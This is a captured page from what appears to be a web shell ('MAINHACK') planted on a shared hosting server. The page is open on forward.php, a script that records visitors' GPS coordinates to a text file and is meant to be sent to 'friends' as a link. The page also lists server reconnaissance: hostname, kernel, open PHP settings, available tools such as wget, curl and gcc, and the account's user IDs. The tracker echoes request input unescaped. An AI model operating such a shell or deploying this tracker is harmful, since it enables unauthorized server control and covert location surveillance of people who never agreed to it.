[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: forward.php
<?php /* Get Exact GPS Location of Webpage Visitors with HTML5 Geolocation API and PHP! Author: Binit Ghimire GitHub Profile: https://github.com/TheBinitGhimire Author URL: https://WHOISbinit.me/ _________________ || How to Use? || ‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾‾ - Host "index.html", "forward.php", and "info.txt" in your web server! - Send the URL to your website to your friends! Thank You! */ function validateGeolocation($x, $y){ if(!(is_float($x) && is_float($y))) return false; else return preg_match('/^[-]?(([0-8]?[0-9])\.(\d+))|(90(\.0+)?),[-]?((((1[0-7][0-9])|([0-9]?[0-9]))\.(\d+))|180(\.0+)?)$/', $x.','.$y); } $valid = false; // Checking if the Geolocation is properly sent or not! if(isset($_GET['x']) && isset($_GET['y'])){ // Ensuring the provided Geolocation values are float values! $latitude = floatval($_GET['x']); $longitude = floatval($_GET['y']); // Validating whether the Latitude and Longitude are in proper format or not! if(validateGeolocation($latitude, $latitude)){ $valid = true; // Crafting a Google Maps URL with the valid Latitude and Longitude! $maps = "http://maps.google.com/maps?q=$latitude,$longitude"; // Writing (actually appending) the Geolocation Information into a text file named "info.txt"! $locationFile = fopen("info.txt", "a") or die("Unable to open file!"); $info = "Latitude: ".$latitude."\nLongitude: ".$longitude."\nMaps: ".$maps."\n\n"; fwrite($locationFile, $info); fclose($locationFile); } } // Redirecting to Google if all criteria is satisfied! if($valid){ echo " lat:".$_REQUEST['x']; echo "<br> long:".$_REQUEST['y']; // header('Location: https://www.google.com/'); } else{ // Redirecting to the HomePage if the Geolocation isn't properly sent! header('Location: index.html'); } ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.08 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619